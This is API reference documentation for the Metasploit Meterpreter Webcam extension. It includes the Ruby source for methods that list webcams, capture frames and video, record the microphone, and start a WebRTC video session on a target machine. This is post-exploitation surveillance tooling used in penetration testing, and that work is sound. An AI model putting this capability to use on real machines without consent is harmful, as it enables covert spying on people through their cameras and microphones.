Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Includes:
- Msf::Post::Common, Msf::Post::File, Msf::Post::WebRTC
- Defined in:
- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
Overview
This meterpreter extension can list and capture from webcams and/or microphone
Instance Attribute Summary collapse
-
#client ⇒ Object
Returns the value of attribute client.
Instance Method Summary collapse
-
#initialize(client) ⇒ Webcam
constructor
A new instance of Webcam.
-
#record_mic(duration) ⇒ Object
Record from default audio source for
duration
seconds; returns a low-quality wav file. - #session ⇒ Object
-
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC.
- #webcam_get_frame(quality) ⇒ Object
- #webcam_list ⇒ Object
-
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index
cam
. - #webcam_stop ⇒ Object
Constructor Details
#initialize(client) ⇒ Webcam
Returns a new instance of Webcam.
20 21 22 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 20 def initialize(client) @client = client end |
Instance Attribute Details
#client ⇒ Object
Returns the value of attribute client.
86 87 88 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 86 def client @client end |
Instance Method Details
#record_mic(duration) ⇒ Object
Record from default audio source for duration
seconds; returns a low-quality wav file
79 80 81 82 83 84 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 79 def record_mic(duration) request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) response.get_tlv(TLV_TYPE_AUDIO_DATA).value end |
#session ⇒ Object
24 25 26 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 24 def session @client end |
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC
63 64 65 66 67 68 69 70 71 72 73 74 75 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 63 def webcam_chat(server) offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) remote_browser_path = webrtc_browser_path if remote_browser_path.to_s.empty? fail "Unable to find a suitable browser on the target machine" end init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end |
#webcam_get_frame(quality) ⇒ Object
45 46 47 48 49 50 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 45 def webcam_get_frame(quality) request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end |
#webcam_list ⇒ Object
28 29 30 31 32 33 34 35 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 28 def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value end names end |
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index cam
38 39 40 41 42 43 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 38 def webcam_start(cam) request = Packet.create_request('webcam_start') request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) client.send_request(request) true end |
#webcam_stop ⇒ Object
52 53 54 55 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 52 def webcam_stop client.send_request(Packet.create_request('webcam_stop')) true end |